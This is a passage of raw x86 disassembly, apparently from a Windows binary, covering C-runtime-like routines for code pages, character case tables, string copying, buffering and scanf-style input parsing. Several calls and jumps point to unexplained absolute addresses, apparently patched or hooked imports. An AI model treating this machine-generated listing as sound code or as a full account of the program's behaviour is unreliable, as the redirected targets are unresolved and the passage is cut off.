; CODE XREF: sub_41F5D4+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FDD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDDE proc near ; CODE XREF: sub_4201A2+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41FF77 mov esi, eax pop ecx cmp esi, dword_4DAB64 mov [ebp+arg_0], esi jz loc_41FF6B xor ebx, ebx cmp esi, ebx jz loc_41FF61 xor edx, edx mov eax, offset dword_43A8A8 loc_41FE12: ; CODE XREF: sub_41FDDE+41j cmp [eax], esi jz short loc_41FE88 add eax, 30h inc edx cmp eax, offset dword_43A998 jl short loc_41FE12 lea eax, [ebp+var_18] push eax push esi nop call near ptr 2650000h cmp eax, 1 jnz loc_41FF59 push 40h xor eax, eax pop ecx mov edi, offset byte_4DAC80 cmp [ebp+var_18], 1 mov dword_4DAB64, esi rep stosd stosb mov dword_4DAD84, ebx jbe loc_41FF47 cmp [ebp+var_12], 0 jz loc_41FF1D lea ecx, [ebp+var_11] loc_41FE65: ; CODE XREF: sub_41FDDE+139j mov dl, [ecx] test dl, dl jz loc_41FF1D movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FE76: ; CODE XREF: sub_41FDDE+A8j cmp eax, edx ja loc_41FF11 or byte_4DAC81[eax], 4 inc eax jmp short loc_41FE76 ; --------------------------------------------------------------------------- loc_41FE88: ; CODE XREF: sub_41FDDE+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DAC80 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43A8B8[esi] loc_41FEA4: ; CODE XREF: sub_41FDDE+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FED7 loc_41FEAB: ; CODE XREF: sub_41FDDE+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FED7 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FED0 mov edx, [ebp+var_4] mov dl, byte_43A8A0[edx] loc_41FEC5: ; CODE XREF: sub_41FDDE+F0j or byte_4DAC81[eax], dl inc eax cmp eax, edi jbe short loc_41FEC5 loc_41FED0: ; CODE XREF: sub_41FDDE+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FEAB loc_41FED7: ; CODE XREF: sub_41FDDE+CBj ; sub_41FDDE+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FEA4 mov eax, [ebp+arg_0] mov dword_4DAB7C, 1 push eax mov dword_4DAB64, eax call sub_41FFC1 lea esi, dword_43A8AC[esi] mov edi, offset dword_4DAB70 movsd movsd pop ecx mov dword_4DAD84, eax movsd jmp short loc_41FF66 ; --------------------------------------------------------------------------- loc_41FF11: ; CODE XREF: sub_41FDDE+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FE65 loc_41FF1D: ; CODE XREF: sub_41FDDE+7Ej ; sub_41FDDE+8Bj push 1 pop eax loc_41FF20: ; CODE XREF: sub_41FDDE+14Fj or byte_4DAC81[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FF20 push esi call sub_41FFC1 pop ecx mov dword_4DAD84, eax mov dword_4DAB7C, 1 jmp short loc_41FF4D ; --------------------------------------------------------------------------- loc_41FF47: ; CODE XREF: sub_41FDDE+74j mov dword_4DAB7C, ebx loc_41FF4D: ; CODE XREF: sub_41FDDE+167j xor eax, eax mov edi, offset dword_4DAB70 stosd stosd stosd jmp short loc_41FF66 ; --------------------------------------------------------------------------- loc_41FF59: ; CODE XREF: sub_41FDDE+51j cmp dword_4D979C, ebx jz short loc_41FF6F loc_41FF61: ; CODE XREF: sub_41FDDE+27j call sub_41FFF4 loc_41FF66: ; CODE XREF: sub_41FDDE+131j ; sub_41FDDE+179j call sub_42001D loc_41FF6B: ; CODE XREF: sub_41FDDE+1Dj xor eax, eax jmp short loc_41FF72 ; --------------------------------------------------------------------------- loc_41FF6F: ; CODE XREF: sub_41FDDE+181j or eax, 0FFFFFFFFh loc_41FF72: ; CODE XREF: sub_41FDDE+18Fj pop edi pop esi pop ebx leave retn sub_41FDDE endp ; =============== S U B R O U T I N E ======================================= sub_41FF77 proc near ; CODE XREF: sub_41FDDE+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4D979C, 0 cmp eax, 0FFFFFFFEh jnz short loc_41FF97 mov dword_4D979C, 1 jmp near ptr 2641986h ; --------------------------------------------------------------------------- push ss loc_41FF97: ; CODE XREF: sub_41FF77+Ej cmp eax, 0FFFFFFFDh jnz short loc_41FFAC mov dword_4D979C, 1 nop jmp near ptr 26419ABh ; --------------------------------------------------------------------------- loc_41FFAC: ; CODE XREF: sub_41FF77+23j cmp eax, 0FFFFFFFCh jnz short locret_41FFC0 mov eax, dword_4D97E0 mov dword_4D979C, 1 locret_41FFC0: ; CODE XREF: sub_41FF77+38j retn sub_41FF77 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41FFC1 proc near ; CODE XREF: sub_41FDDE+118p ; sub_41FDDE+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41FFEE sub eax, 4 jz short loc_41FFE8 sub eax, 0Dh jz short loc_41FFE2 dec eax jz short loc_41FFDC xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FFC1+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41FFE2: ; CODE XREF: sub_41FFC1+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41FFE8: ; CODE XREF: sub_41FFC1+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41FFEE: ; CODE XREF: sub_41FFC1+9j mov eax, 411h retn sub_41FFC1 endp ; =============== S U B R O U T I N E ======================================= sub_41FFF4 proc near ; CODE XREF: sub_41FDDE:loc_41FF61p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DAC80 rep stosd stosb xor eax, eax mov edi, offset dword_4DAB70 mov dword_4DAB64, eax mov dword_4DAB7C, eax mov dword_4DAD84, eax stosd stosd stosd pop edi retn sub_41FFF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42001D proc near ; CODE XREF: sub_41FDDE:loc_41FF66p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DAB64 call near ptr 2650000h nop cmp eax, 1 jnz loc_420156 xor eax, eax mov esi, 100h loc_420047: ; CODE XREF: sub_42001D+34j mov [ebp+eax+var_114], al loc_42004E: ; DATA XREF: ___:004328B8o ; ___:004328C4o inc eax cmp eax, esi jb short loc_420047 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420098 push ebx push edi lea edx, [ebp+var_D] loc_420066: ; CODE XREF: sub_42001D+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_42008D sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_42008D: ; CODE XREF: sub_42001D+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420066 pop edi pop ebx loc_420098: ; CODE XREF: sub_42001D+42j push 0 lea eax, [ebp+var_514] push dword_4DAD84 push dword_4DAB64 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423BF4 push 0 lea eax, [ebp+var_214] push dword_4DAB64 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DAD84 call sub_4229D2 push 0 lea eax, [ebp+var_314] push dword_4DAB64 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DAD84 call sub_4229D2 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_420113: ; CODE XREF: sub_42001D+135j mov dx, [ecx] test dl, 1 jz short loc_420131 or byte_4DAC81[eax], 10h mov dl, [ebp+eax+var_214] loc_420129: ; CODE XREF: sub_42001D+127j mov byte_4DAB80[eax], dl jmp short loc_42014D ; --------------------------------------------------------------------------- loc_420131: ; CODE XREF: sub_42001D+FCj test dl, 2 jz short loc_420146 or byte_4DAC81[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_420129 ; --------------------------------------------------------------------------- loc_420146: ; CODE XREF: sub_42001D+117j and byte_4DAB80[eax], 0 loc_42014D: ; CODE XREF: sub_42001D+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_420113 jmp short loc_42019F ; --------------------------------------------------------------------------- loc_420156: ; CODE XREF: sub_42001D+1Dj xor eax, eax mov esi, 100h loc_42015D: ; CODE XREF: sub_42001D+180j cmp eax, 41h jb short loc_42017B cmp eax, 5Ah ja short loc_42017B or byte_4DAC81[eax], 10h mov cl, al add cl, 20h loc_420173: ; CODE XREF: sub_42001D+174j mov byte_4DAB80[eax], cl jmp short loc_42019A ; --------------------------------------------------------------------------- loc_42017B: ; CODE XREF: sub_42001D+143j ; sub_42001D+148j cmp eax, 61h jb short loc_420193 cmp eax, 7Ah ja short loc_420193 or byte_4DAC81[eax], 20h mov cl, al sub cl, 20h jmp short loc_420173 ; --------------------------------------------------------------------------- loc_420193: ; CODE XREF: sub_42001D+161j ; sub_42001D+166j and byte_4DAB80[eax], 0 loc_42019A: ; CODE XREF: sub_42001D+15Cj inc eax cmp eax, esi jb short loc_42015D loc_42019F: ; CODE XREF: sub_42001D+137j pop esi leave retn sub_42001D endp ; =============== S U B R O U T I N E ======================================= sub_4201A2 proc near ; CODE XREF: ___:00422D83p ; ___:00422DDFp ... cmp dword_4DADAC, 0 jnz short locret_4201BD push 0FFFFFFFDh call sub_41FDDE pop ecx mov dword_4DADAC, 1 locret_4201BD: ; CODE XREF: sub_4201A2+7j retn sub_4201A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4201BE proc near ; CODE XREF: sub_41C151+2Bp ; sub_41C151+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DAB7C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4201E2 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BD70 add esp, 0Ch jmp short loc_420245 ; --------------------------------------------------------------------------- loc_4201E2: ; CODE XREF: sub_4201BE+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420227 mov ecx, [ebp+arg_4] loc_4201ED: ; CODE XREF: sub_4201BE+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DAC81[esi], 4 mov [edi], al jz short loc_420211 inc edi inc ecx test edx, edx jz short loc_42021D mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_420223 jmp short loc_420217 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4201BE+3Ej inc edi inc ecx test al, al jz short loc_420227 loc_420217: ; CODE XREF: sub_4201BE+51j test edx, edx jnz short loc_4201ED jmp short loc_420227 ; --------------------------------------------------------------------------- loc_42021D: ; CODE XREF: sub_4201BE+44j and byte ptr [edi-1], 0 jmp short loc_420227 ; --------------------------------------------------------------------------- loc_420223: ; CODE XREF: sub_4201BE+4Fj and byte ptr [edi-2], 0 loc_420227: ; CODE XREF: sub_4201BE+2Aj ; sub_4201BE+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_420242 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_420242: ; CODE XREF: sub_4201BE+6Fj mov eax, [ebp+arg_0] loc_420245: ; CODE XREF: sub_4201BE+22j pop edi pop ebp retn sub_4201BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420248 proc near ; CODE XREF: sub_41C326+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4D97D0, 0 push ebx jnz short loc_420273 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420311 cmp eax, 7Ah jg loc_420311 sub eax, 20h jmp loc_420311 ; --------------------------------------------------------------------------- loc_420273: ; CODE XREF: sub_420248+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_4202A6 cmp dword_43A88C, 1 jle short loc_420293 push 2 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_42029E ; --------------------------------------------------------------------------- loc_420293: ; CODE XREF: sub_420248+3Dj mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 2 loc_42029E: ; CODE XREF: sub_420248+49j test eax, eax jnz short loc_4202A6 loc_4202A2: ; CODE XREF: sub_420248+AFj mov eax, ebx jmp short loc_420311 ; --------------------------------------------------------------------------- loc_4202A6: ; CODE XREF: sub_420248+34j ; sub_420248+58j mov edx, off_43A680 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4202C9 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_4202D2 ; --------------------------------------------------------------------------- loc_4202C9: ; CODE XREF: sub_420248+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_4202D2: ; CODE XREF: sub_420248+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4D97D0 call sub_4229D2 add esp, 20h test eax, eax jz short loc_4202A2 cmp eax, 1 jnz short loc_420304 movzx eax, [ebp+var_4] jmp short loc_420311 ; --------------------------------------------------------------------------- loc_420304: ; CODE XREF: sub_420248+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420311: ; CODE XREF: sub_420248+14j ; sub_420248+1Dj ... pop ebx leave retn sub_420248 endp ; =============== S U B R O U T I N E ======================================= sub_420314 proc near ; CODE XREF: sub_41C545+1Dp ; sub_41DB5E+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4D9718, ecx mov eax, offset dword_43A998 loc_420325: ; CODE XREF: sub_420314+1Ej cmp ecx, [eax] jz short loc_420349 add eax, 8 inc edx cmp eax, offset dword_43AB00 jl short loc_420325 cmp ecx, 13h jb short loc_420356 cmp ecx, 24h ja short loc_420356 mov dword_4D9714, 0Dh retn ; --------------------------------------------------------------------------- loc_420349: ; CODE XREF: sub_420314+13j mov eax, dword_43A99C[edx*8] mov dword_4D9714, eax retn ; --------------------------------------------------------------------------- loc_420356: ; CODE XREF: sub_420314+23j ; sub_420314+28j cmp ecx, 0BCh jb short loc_420370 cmp ecx, 0CAh mov dword_4D9714, 8 jbe short locret_42037A loc_420370: ; CODE XREF: sub_420314+48j mov dword_4D9714, 16h locret_42037A: ; CODE XREF: sub_420314+5Aj retn sub_420314 endp ; =============== S U B R O U T I N E ======================================= sub_42037B proc near ; CODE XREF: sub_41C56F+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423D3D test eax, eax pop ecx jz short loc_420404 cmp esi, offset dword_43AD98 jnz short loc_420399 xor eax, eax jmp short loc_4203A4 ; --------------------------------------------------------------------------- loc_420399: ; CODE XREF: sub_42037B+18j cmp esi, offset dword_43ADB8 jnz short loc_420404 push 1 pop eax loc_4203A4: ; CODE XREF: sub_42037B+1Cj inc dword_4D98FC test word ptr [esi+0Ch], 10Ch jnz short loc_420404 cmp dword_4D97A0[eax*4], 0 push ebx push edi lea edi, ds:4D97A0h[eax*4] mov ebx, 1000h jnz short loc_4203EA push ebx call sub_41BC9B test eax, eax pop ecx mov [edi], eax jnz short loc_4203EA lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4203F7 ; --------------------------------------------------------------------------- loc_4203EA: ; CODE XREF: sub_42037B+4Dj ; sub_42037B+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4203F7: ; CODE XREF: sub_42037B+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420404: ; CODE XREF: sub_42037B+10j ; sub_42037B+24j ... xor eax, eax pop esi retn sub_42037B endp ; =============== S U B R O U T I N E ======================================= sub_420408 proc near ; CODE XREF: sub_41C56F+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420432 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420443 push esi call sub_41E32B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420432: ; CODE XREF: sub_420408+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420443 push eax call sub_41E32B pop ecx loc_420443: ; CODE XREF: sub_420408+10j ; sub_420408+32j pop esi retn sub_420408 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420445 proc near ; CODE XREF: sub_41CA73+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420E4B mov edi, [ebp+arg_0] jmp short loc_420474 ; --------------------------------------------------------------------------- loc_42046F: ; CODE XREF: sub_420445+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_420474: ; CODE XREF: sub_420445+28j cmp dword_43A88C, 1 jle short loc_42048C movzx eax, al push 8 push eax call sub_41F44A pop ecx pop ecx jmp short loc_42049B ; --------------------------------------------------------------------------- loc_42048C: ; CODE XREF: sub_420445+36j mov ecx, off_43A680 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_42049B: ; CODE XREF: sub_420445+45j cmp eax, ebx jz short loc_4204D5 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420ED2 pop ecx pop ecx push eax call sub_420EBB movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DE10 add esp, 0Ch loc_4204C3: ; CODE XREF: sub_420445+8Ej test eax, eax jz short loc_4204D5 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DE10 pop ecx jmp short loc_4204C3 ; --------------------------------------------------------------------------- loc_4204D5: ; CODE XREF: sub_420445+58j ; sub_420445+80j cmp byte ptr [esi], 25h jnz loc_420DB7 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_42050C: ; CODE XREF: sub_420445+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43A88C, 1 jle short loc_420529 movzx eax, bl push 4 push eax call sub_41F44A pop ecx pop ecx jmp short loc_420538 ; --------------------------------------------------------------------------- loc_420529: ; CODE XREF: sub_420445+D3j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420538: ; CODE XREF: sub_420445+E2j test eax, eax jz short loc_42054E mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_42054E: ; CODE XREF: sub_420445+F5j cmp ebx, 4Eh jg short loc_420591 jz short loc_4205B3 cmp ebx, 2Ah jz short loc_42058C cmp ebx, 46h jz short loc_4205B3 cmp ebx, 49h jz short loc_42056E cmp ebx, 4Ch jnz short loc_4205A0 inc [ebp+var_D] jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_42056E: ; CODE XREF: sub_420445+11Dj cmp byte ptr [esi+1], 36h jnz short loc_4205A0 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_4205A0 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_42058C: ; CODE XREF: sub_420445+113j inc [ebp+var_E] jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_420591: ; CODE XREF: sub_420445+10Cj cmp ebx, 68h jz short loc_4205AD cmp ebx, 6Ch jz short loc_4205A5 cmp ebx, 77h jz short loc_4205A8 loc_4205A0: ; CODE XREF: sub_420445+122j ; sub_420445+12Dj ... inc [ebp+var_F] jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_4205A5: ; CODE XREF: sub_420445+154j inc [ebp+var_D] loc_4205A8: ; CODE XREF: sub_420445+159j inc [ebp+var_5] jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_4205AD: ; CODE XREF: sub_420445+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_4205B3: ; CODE XREF: sub_420445+107j ; sub_420445+10Ej ... cmp [ebp+var_F], 0 jz loc_42050C cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4205D8 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4205D8: ; CODE XREF: sub_420445+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4205F6 mov al, [esi] cmp al, 53h jz short loc_4205F2 cmp al, 43h jz short loc_4205F2 or [ebp+var_5], 0FFh jmp short loc_4205F6 ; --------------------------------------------------------------------------- loc_4205F2: ; CODE XREF: sub_420445+1A1j ; sub_420445+1A5j mov [ebp+var_5], 1 loc_4205F6: ; CODE XREF: sub_420445+19Bj ; sub_420445+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_42062F cmp esi, 63h jz short loc_420620 cmp esi, 7Bh jz short loc_420620 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420ED2 pop ecx jmp short loc_42062B ; --------------------------------------------------------------------------- loc_420620: ; CODE XREF: sub_420445+1C5j ; sub_420445+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 loc_42062B: ; CODE XREF: sub_420445+1D9j pop ecx mov [ebp+var_14], eax loc_42062F: ; CODE XREF: sub_420445+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42063F cmp [ebp+var_C], eax jz loc_420E1B loc_42063F: ; CODE XREF: sub_420445+1EFj cmp esi, 6Fh jg loc_4208A6 jz loc_420B58 cmp esi, 63h jz loc_420883 cmp esi, 64h jz loc_420B58 jle loc_4208D0 cmp esi, 67h jle short loc_4206A3 cmp esi, 69h jz short loc_42068B cmp esi, 6Eh jnz loc_4208D0 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420D86 jmp loc_420DAC ; --------------------------------------------------------------------------- loc_42068B: ; CODE XREF: sub_420445+229j push 64h pop esi loc_42068E: ; CODE XREF: sub_420445+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_420918 mov [ebp+var_17], 1 jmp loc_42091D ; --------------------------------------------------------------------------- loc_4206A3: ; CODE XREF: sub_420445+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_4206BF mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_4206C4 ; --------------------------------------------------------------------------- loc_4206BF: ; CODE XREF: sub_420445+26Aj cmp ebx, 2Bh jnz short loc_4206DB loc_4206C4: ; CODE XREF: sub_420445+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4206DE ; --------------------------------------------------------------------------- loc_4206DB: ; CODE XREF: sub_420445+27Dj mov edi, [ebp+arg_0] loc_4206DE: ; CODE XREF: sub_420445+294j cmp [ebp+var_20], 0 jz short loc_4206ED cmp [ebp+var_C], 15Dh jle short loc_4206F4 loc_4206ED: ; CODE XREF: sub_420445+29Dj mov [ebp+var_C], 15Dh loc_4206F4: ; CODE XREF: sub_420445+2A6j ; sub_420445+2F2j cmp dword_43A88C, 1 jle short loc_420709 push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420714 ; --------------------------------------------------------------------------- loc_420709: ; CODE XREF: sub_420445+2B6j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420714: ; CODE XREF: sub_420445+2C2j test eax, eax jz short loc_420739 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420739 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4206F4 ; --------------------------------------------------------------------------- loc_420739: ; CODE XREF: sub_420445+2D1j ; sub_420445+2DBj cmp byte_43A890, bl jnz short loc_4207A7 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4207A7 inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax mov al, byte_43A890 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_420762: ; CODE XREF: sub_420445+360j cmp dword_43A88C, 1 jle short loc_420777 push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420782 ; --------------------------------------------------------------------------- loc_420777: ; CODE XREF: sub_420445+324j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420782: ; CODE XREF: sub_420445+330j test eax, eax jz short loc_4207A7 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4207A7 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420762 ; --------------------------------------------------------------------------- loc_4207A7: ; CODE XREF: sub_420445+2FAj ; sub_420445+304j ... cmp [ebp+var_1C], 0 jz loc_42083F cmp ebx, 65h jz short loc_4207BF cmp ebx, 45h jnz loc_42083F loc_4207BF: ; CODE XREF: sub_420445+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42083F mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4207E6 mov [esi], al inc esi jmp short loc_4207EB ; --------------------------------------------------------------------------- loc_4207E6: ; CODE XREF: sub_420445+39Aj cmp ebx, 2Bh jnz short loc_420809 loc_4207EB: ; CODE XREF: sub_420445+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4207FA and [ebp+var_C], eax jmp short loc_420809 ; --------------------------------------------------------------------------- loc_4207FA: ; CODE XREF: sub_420445+3AEj ; sub_420445+3F8j inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420809: ; CODE XREF: sub_420445+3A4j ; sub_420445+3B3j cmp dword_43A88C, 1 jle short loc_42081E push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420829 ; --------------------------------------------------------------------------- loc_42081E: ; CODE XREF: sub_420445+3CBj mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420829: ; CODE XREF: sub_420445+3D7j test eax, eax jz short loc_42083F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42083F inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4207FA ; --------------------------------------------------------------------------- loc_42083F: ; CODE XREF: sub_420445+366j ; sub_420445+374j ... dec [ebp+var_4] push edi push ebx call sub_420EBB cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420E4B cmp [ebp+var_E], 0 jnz loc_420DAC inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43AC30 add esp, 0Ch jmp loc_420DAC ; --------------------------------------------------------------------------- loc_420883: ; CODE XREF: sub_420445+20Cj cmp [ebp+var_20], eax jnz short loc_420892 inc [ebp+var_C] mov [ebp+var_20], 1 loc_420892: ; CODE XREF: sub_420445+441j cmp [ebp+var_5], 0 jle short loc_42089C mov [ebp+var_16], 1 loc_42089C: ; CODE XREF: sub_420445+451j mov edi, offset dword_43AB08 jmp 